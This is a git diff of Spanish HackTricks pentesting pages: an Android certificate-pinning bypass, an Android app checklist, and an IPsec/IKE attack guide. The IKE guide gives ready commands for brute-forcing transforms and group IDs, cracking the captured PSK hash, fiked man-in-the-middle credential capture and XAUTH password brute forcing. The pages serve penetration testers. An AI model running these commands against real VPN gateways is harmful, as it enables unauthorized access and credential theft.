||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
@ -12,15 +12,7 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
Algunas aplicaciones no aceptan certificados descargados por el usuario, por lo que, para inspeccionar el tráfico web de algunas aplicaciones, en realidad tenemos que descompilar la aplicación y agregar algunas cosas y luego recompilarla.
|
||||
Algunas aplicaciones no aceptan certificados descargados por el usuario, por lo que para inspeccionar el tráfico web de algunas aplicaciones, en realidad tenemos que decompilar la aplicación y agregar algunas cosas y luego recompilarla.
|
||||
|
||||
# Automático
|
||||
|
||||
|
@ -28,7 +20,7 @@ La herramienta [**https://github.com/shroudedcode/apk-mitm**](https://github.com
|
|||
|
||||
# Manual
|
||||
|
||||
Primero descompilamos la aplicación: `apktool d *nombre-archivo*.apk`
|
||||
Primero decompilamos la aplicación: `apktool d *nombre-archivo*.apk`
|
||||
|
||||
![](../../.gitbook/assets/img9.png)
|
||||
|
||||
|
@ -63,20 +55,13 @@ Luego guarda el archivo y retrocede de todos los directorios y reconstruye el ap
|
|||
|
||||
Finalmente, solo necesitas **firmar la nueva aplicación**. [Lee esta sección de la página Smali - Descompilar/\[Modificar\]/Compilar para aprender cómo firmarla](smali-changes.md#sing-the-new-apk).
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
|
|
@ -2,24 +2,16 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**¡Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
### [Aprende los fundamentos de Android](android-app-pentesting/#2-android-application-fundamentals)
|
||||
|
||||
* [ ] [Conceptos básicos](android-app-pentesting/#fundamentals-review)
|
||||
|
@ -38,27 +30,27 @@ Encuentra las vulnerabilidades que más importan para que puedas solucionarlas m
|
|||
|
||||
### [Análisis estático](android-app-pentesting/#static-analysis)
|
||||
|
||||
* [ ] Verificar el uso de [ofuscación](android-checklist.md#some-obfuscation-deobfuscation-information), comprobar si el móvil está rooteado, si se está utilizando un emulador y comprobar controles contra manipulaciones. [Lee esto para más información](android-app-pentesting/#other-checks).
|
||||
* [ ] Las aplicaciones sensibles (como las aplicaciones bancarias) deben comprobar si el móvil está rooteado y actuar en consecuencia.
|
||||
* [ ] Verificar el uso de [ofuscación](android-checklist.md#some-obfuscation-deobfuscation-information), comprobar si el móvil está rooteado, si se está utilizando un emulador y controles anti-manipulación. [Lee esto para más información](android-app-pentesting/#other-checks).
|
||||
* [ ] Las aplicaciones sensibles (como las aplicaciones bancarias) deben verificar si el móvil está rooteado y actuar en consecuencia.
|
||||
* [ ] Buscar [cadenas interesantes](android-app-pentesting/#looking-for-interesting-info) (contraseñas, URLs, API, cifrado, puertas traseras, tokens, UUID de Bluetooth...).
|
||||
* [ ] Prestar especial atención a las APIs de [firebase](android-app-pentesting/#firebase).
|
||||
* [ ] Prestar especial atención a las API de [firebase](android-app-pentesting/#firebase).
|
||||
* [ ] [Leer el manifiesto:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||
* [ ] Comprobar si la aplicación está en modo de depuración e intentar "explotarla"
|
||||
* [ ] Verificar si el APK permite copias de seguridad
|
||||
* [ ] Verificar si la aplicación está en modo de depuración e intentar "explotarla"
|
||||
* [ ] Comprobar si el APK permite copias de seguridad
|
||||
* [ ] Actividades exportadas
|
||||
* [ ] Proveedores de contenido
|
||||
* [ ] Servicios expuestos
|
||||
* [ ] Receptores de difusión
|
||||
* [ ] Esquemas de URL
|
||||
* [ ] ¿La aplicación está [guardando datos de forma insegura interna o externamente](android-app-pentesting/#insecure-data-storage)?
|
||||
* [ ] ¿Hay alguna [contraseña codificada o guardada en disco](android-app-pentesting/#poorkeymanagementprocesses)? ¿La aplicación [está utilizando algoritmos criptográficos inseguros](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
* [ ] ¿Todas las bibliotecas se compilaron utilizando la bandera PIE?
|
||||
* [ ] No olvides que hay una serie de [Analizadores estáticos de Android](android-app-pentesting/#automatic-analysis) que pueden ayudarte mucho durante esta fase.
|
||||
* [ ] ¿Hay alguna [contraseña codificada o guardada en disco](android-app-pentesting/#poorkeymanagementprocesses)? ¿La aplicación [utiliza algoritmos criptográficos inseguros](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
* [ ] ¿Todas las bibliotecas se compilaron usando la bandera PIE?
|
||||
* [ ] No olvides que hay un montón de [Analizadores estáticos de Android](android-app-pentesting/#automatic-analysis) que pueden ayudarte mucho durante esta fase.
|
||||
|
||||
### [Análisis dinámico](android-app-pentesting/#dynamic-analysis)
|
||||
|
||||
* [ ] Preparar el entorno ([en línea](android-app-pentesting/#online-dynamic-analysis), [VM local o física](android-app-pentesting/#local-dynamic-analysis))
|
||||
* [ ] ¿Hay alguna [fuga de datos no intencionada](android-app-pentesting/#unintended-data-leakage) (registros, copiar/pegar, registros de errores)?
|
||||
* [ ] ¿Hay alguna [fuga de datos no intencional](android-app-pentesting/#unintended-data-leakage) (registro, copiar/pegar, registros de errores)?
|
||||
* [ ] ¿Información confidencial guardada en bases de datos SQLite](android-app-pentesting/#sqlite-dbs)?
|
||||
* [ ] ¿Actividades expuestas explotables](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
||||
* [ ] ¿Proveedores de contenido explotables](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
||||
|
@ -66,28 +58,22 @@ Encuentra las vulnerabilidades que más importan para que puedas solucionarlas m
|
|||
* [ ] ¿Receptores de difusión explotables](android-app-pentesting/#exploiting-broadcast-receivers)?
|
||||
* [ ] ¿La aplicación está [transmitiendo información en texto claro/utilizando algoritmos débiles](android-app-pentesting/#insufficient-transport-layer-protection)? ¿Es posible un ataque de intermediario?
|
||||
* [ ] [Inspeccionar el tráfico HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic)
|
||||
* [ ] Este punto es realmente importante, porque si puedes capturar el tráfico HTTP, puedes buscar vulnerabilidades web comunes (Hacktricks tiene mucha información sobre vulnerabilidades web).
|
||||
* [ ] Comprobar posibles [Inyecciones del Lado del Cliente de Android](android-app-pentesting/#android-client-side-injections-and-others) (probablemente algún análisis estático de código ayudará aquí)
|
||||
* [ ] [Frida](android-app-pentesting/#frida): Solo Frida, úsalo para obtener datos dinámicos interesantes de la aplicación (quizás algunas contraseñas...)
|
||||
* [ ] Este punto es realmente importante, porque si puedes capturar el tráfico HTTP puedes buscar vulnerabilidades web comunes (Hacktricks tiene mucha información sobre vulnerabilidades web).
|
||||
* [ ] Buscar posibles [Inyecciones del lado del cliente de Android](android-app-pentesting/#android-client-side-injections-and-others) (probablemente algún análisis de código estático ayudará aquí)
|
||||
* [ ] [Frida](android-app-pentesting/#frida): Solo Frida, úsalo para obtener datos dinámicos interesantes de la aplicación (quizás algunas contraseñas...)
|
||||
|
||||
### Alguna información sobre obfuscación/Deobfuscation
|
||||
|
||||
* [ ] [Lee aquí](android-app-pentesting/#obfuscating-deobfuscating-code)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**¡Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
|
|
|
@ -7,30 +7,22 @@
|
|||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra vulnerabilidades que importan más para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Información Básica
|
||||
|
||||
**IPsec** es ampliamente reconocido como la tecnología principal para asegurar comunicaciones entre redes (LAN a LAN) y desde usuarios remotos hasta la puerta de enlace de la red (acceso remoto), sirviendo como la columna vertebral de las soluciones de VPN empresariales.
|
||||
**IPsec** es ampliamente reconocido como la tecnología principal para asegurar comunicaciones entre redes (LAN a LAN) y de usuarios remotos al gateway de red (acceso remoto), sirviendo como la base para soluciones de VPN empresariales.
|
||||
|
||||
El establecimiento de una **asociación de seguridad (SA)** entre dos puntos es gestionado por **IKE**, que opera bajo el paraguas de ISAKMP, un protocolo diseñado para la autenticación e intercambio de claves. Este proceso se desarrolla en varias fases:
|
||||
|
||||
- **Fase 1:** Se crea un canal seguro entre dos puntos. Esto se logra mediante el uso de una Clave Precompartida (PSK) o certificados, empleando ya sea modo principal, que implica tres pares de mensajes, o **modo agresivo**.
|
||||
- **Fase 1.5:** Aunque no es obligatoria, esta fase, conocida como la Fase de Autenticación Extendida, verifica la identidad del usuario que intenta conectarse al requerir un nombre de usuario y contraseña.
|
||||
- **Fase 2:** Esta fase se dedica a negociar los parámetros para asegurar los datos con **ESP** y **AH**. Permite el uso de algoritmos diferentes a los de la Fase 1 para garantizar **Secreto Directo Perfecto (PFS)**, mejorando la seguridad.
|
||||
- **Fase 2:** Esta fase se dedica a negociar los parámetros para asegurar datos con **ESP** y **AH**. Permite el uso de algoritmos diferentes a los de la Fase 1 para garantizar **Secreto Perfecto Hacia Adelante (PFS)**, mejorando la seguridad.
|
||||
|
||||
|
||||
**Puerto predeterminado:** 500/udp
|
||||
|
@ -45,7 +37,7 @@ PORT STATE SERVICE
|
|||
500/udp open isakmp
|
||||
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
||||
```
|
||||
## Encontrar una transformación válida
|
||||
## **Encontrar una transformación válida**
|
||||
|
||||
La configuración de IPSec puede estar preparada para aceptar solo una o unas pocas transformaciones. Una transformación es una combinación de valores. **Cada transformación** contiene una serie de atributos como DES o 3DES como algoritmo de **encriptación**, SHA o MD5 como algoritmo de **integridad**, una clave precompartida como tipo de **autenticación**, Diffie-Hellman 1 o 2 como algoritmo de **distribución de clave** y 28800 segundos como **vida útil**.
|
||||
|
||||
|
@ -75,7 +67,7 @@ En primer lugar, necesitas crear todas las posibles transformaciones:
|
|||
```bash
|
||||
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
|
||||
```
|
||||
Y luego realizar fuerza bruta en cada uno utilizando ike-scan (esto puede tardar varios minutos):
|
||||
Y luego realizar un ataque de fuerza bruta en cada uno utilizando ike-scan (esto puede tardar varios minutos):
|
||||
```bash
|
||||
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
|
||||
```
|
||||
|
@ -83,7 +75,7 @@ Si el ataque de fuerza bruta no funcionó, tal vez el servidor esté respondiend
|
|||
```bash
|
||||
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
|
||||
```
|
||||
Con suerte, **una transformación válida se refleja**.\
|
||||
Con suerte **una transformación válida se refleja**.\
|
||||
Puedes intentar el **mismo ataque** usando [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
|
||||
También podrías intentar forzar transformaciones con [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
|
||||
```bash
|
||||
|
@ -126,7 +118,7 @@ Esto también se puede lograr con el script de nmap _**ike-version**_
|
|||
|
||||
## Encontrar el ID correcto (nombre de grupo)
|
||||
|
||||
Para poder capturar el hash necesitas una transformación válida que admita el modo Agresivo y el ID correcto (nombre de grupo). Probablemente no sepas el nombre de grupo válido, por lo que tendrás que probarlo mediante fuerza bruta.\
|
||||
Para poder capturar el hash necesitas una transformación válida que admita el modo Agresivo y el ID correcto (nombre de grupo). Probablemente no sepas el nombre de grupo válido, por lo que tendrás que probarlo por fuerza bruta.\
|
||||
Para hacerlo, te recomendaría 2 métodos:
|
||||
|
||||
### Fuerza bruta del ID con ike-scan
|
||||
|
@ -135,7 +127,7 @@ En primer lugar, intenta hacer una solicitud con un ID falso para intentar recop
|
|||
```bash
|
||||
ike-scan -P -M -A -n fakeID <IP>
|
||||
```
|
||||
Si **no se devuelve ningún hash**, entonces probablemente este método de fuerza bruta funcionará. **Si se devuelve algún hash, significa que se enviará un hash falso para un ID falso, por lo que este método no será confiable** para realizar fuerza bruta en el ID. Por ejemplo, podría devolverse un hash falso (esto ocurre en versiones modernas):
|
||||
Si **no se devuelve ningún hash**, entonces probablemente este método de fuerza bruta funcionará. **Si se devuelve algún hash, esto significa que se enviará de vuelta un hash falso para un ID falso, por lo que este método no será confiable** para realizar fuerza bruta en el ID. Por ejemplo, podría devolverse un hash falso (esto ocurre en versiones modernas):
|
||||
|
||||
![](<../.gitbook/assets/image (110).png>)
|
||||
|
||||
|
@ -165,7 +157,7 @@ Por defecto, **ikeforce** enviará al principio algunos IDs aleatorios para veri
|
|||
* Finalmente, si el servidor no responde a las verificaciones, **ikeforce** intentará realizar fuerza bruta en el servidor y verificar si cuando se envía el ID correcto, el servidor responde con algún paquete.\
|
||||
Obviamente, el objetivo de la fuerza bruta del ID es obtener la **PSK** cuando se tiene un ID válido. Luego, con el **ID** y la **PSK**, deberás realizar fuerza bruta en el XAUTH (si está habilitado).
|
||||
|
||||
Si has descubierto una transformación específica, agrégala en el comando de ikeforce. Y si has descubierto varias transformaciones, siéntete libre de agregar un nuevo bucle para probarlas todas (deberías probarlas todas hasta que una de ellas funcione correctamente).
|
||||
Si has descubierto una transformación específica, agrégala al comando de ikeforce. Y si has descubierto varias transformaciones, siéntete libre de agregar un nuevo bucle para probarlas todas (deberías probarlas todas hasta que una de ellas funcione correctamente).
|
||||
```bash
|
||||
git clone https://github.com/SpiderLabs/ikeforce.git
|
||||
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
||||
|
@ -174,15 +166,15 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
|||
```bash
|
||||
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
|
||||
```
|
||||
### Captura de ID
|
||||
### Sniffing ID
|
||||
|
||||
(From the book **Network Security Assessment: Know Your Network**): También es posible obtener nombres de usuario válidos al capturar la conexión entre el cliente VPN y el servidor, ya que el primer paquete de modo agresivo que contiene la ID del cliente se envía en texto claro
|
||||
(From the book **Evaluación de Seguridad de Red: Conoce tu Red**): También es posible obtener nombres de usuario válidos al husmear la conexión entre el cliente VPN y el servidor, ya que el primer paquete de modo agresivo que contiene la identificación del cliente se envía en texto claro
|
||||
|
||||
![](<../.gitbook/assets/image (111).png>)
|
||||
|
||||
## Captura y descifrado del hash
|
||||
## Capturando y descifrando el hash
|
||||
|
||||
Finalmente, si has encontrado una **transformación válida** y el **nombre del grupo** y si el **modo agresivo está permitido**, entonces puedes capturar fácilmente el hash que se puede descifrar:
|
||||
Finalmente, si has encontrado una **transformación válida** y el **nombre del grupo** y si el **modo agresivo está permitido**, entonces puedes obtener fácilmente el hash que se puede descifrar:
|
||||
```bash
|
||||
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
|
||||
```
|
||||
|
@ -196,7 +188,7 @@ psk-crack -d <Wordlist_path> psk.txt
|
|||
|
||||
**El modo Aggressive IKE** combinado con una **Clave Precompartida (PSK)** se emplea comúnmente para fines de **autenticación de grupo**. Este método se ve reforzado por **XAuth (Autenticación Extendida)**, que sirve para introducir una capa adicional de **autenticación de usuario**. Esta autenticación suele aprovechar servicios como **Microsoft Active Directory**, **RADIUS**, u otros sistemas comparables.
|
||||
|
||||
Al pasar a **IKEv2**, se observa un cambio notable donde se utiliza **EAP (Protocolo de Autenticación Extensible)** en lugar de **XAuth** con el fin de autenticar a los usuarios. Este cambio destaca una evolución en las prácticas de autenticación dentro de los protocolos de comunicación segura.
|
||||
Al pasar a **IKEv2**, se observa un cambio notable donde se utiliza **EAP (Protocolo de Autenticación Extensible)** en lugar de **XAuth** con el propósito de autenticar usuarios. Este cambio destaca una evolución en las prácticas de autenticación dentro de los protocolos de comunicación segura.
|
||||
|
||||
|
||||
### Ataque Man-in-the-Middle en la red local para capturar credenciales
|
||||
|
@ -207,15 +199,15 @@ fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
|||
```
|
||||
### Ataque de MitM y bloqueo de tráfico al puerto 500 usando IPSec
|
||||
|
||||
Para realizar un ataque de MitM y bloquear todo el tráfico al puerto 500, puedes intentar establecer un túnel IPSec. Si el túnel IPSec no se puede establecer, es posible que el tráfico se envíe en texto claro.
|
||||
También, utilizando IPSec, intenta realizar un ataque de MitM y bloquear todo el tráfico al puerto 500. Si el túnel IPSec no puede establecerse, es posible que el tráfico se envíe de forma no segura.
|
||||
|
||||
### Fuerza bruta de nombre de usuario y contraseña XAUTH con ikeforce
|
||||
|
||||
Para realizar un ataque de fuerza bruta en **XAUTH** (cuando se conoce un nombre de grupo válido **id** y el **psk**), puedes utilizar un nombre de usuario o una lista de nombres de usuario y una lista de contraseñas:
|
||||
Para realizar fuerza bruta en el **XAUTH** (cuando se conoce un nombre de grupo válido **id** y el **psk**), puedes usar un nombre de usuario o una lista de nombres de usuario y una lista de contraseñas:
|
||||
```bash
|
||||
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
|
||||
```
|
||||
De esta manera, ikeforce intentará conectarse utilizando cada combinación de nombre de usuario: contraseña.
|
||||
De esta manera, ikeforce intentará conectarse utilizando cada combinación de usuario:contraseña.
|
||||
|
||||
Si encontraste uno o varios transformados válidos, simplemente úsalos como en los pasos anteriores.
|
||||
|
||||
|
@ -249,7 +241,7 @@ Asegúrese de utilizar valores reales y seguros para reemplazar los marcadores d
|
|||
|
||||
## Material de Referencia
|
||||
|
||||
* [Documento de cracking de PSK](http://www.ernw.de/download/pskattack.pdf)
|
||||
* [Documento de craqueo de PSK](http://www.ernw.de/download/pskattack.pdf)
|
||||
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
|
||||
* [Escaneo de una Implementación de VPN](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
|
||||
* Evaluación de Seguridad de Redes 3ra Edición
|
||||
|
@ -258,20 +250,14 @@ Asegúrese de utilizar valores reales y seguros para reemplazar los marcadores d
|
|||
|
||||
* `port:500 IKE`
|
||||
|
||||
<figure><img src="broken-reference" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra vulnerabilidades que son más importantes para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -6,27 +6,19 @@
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
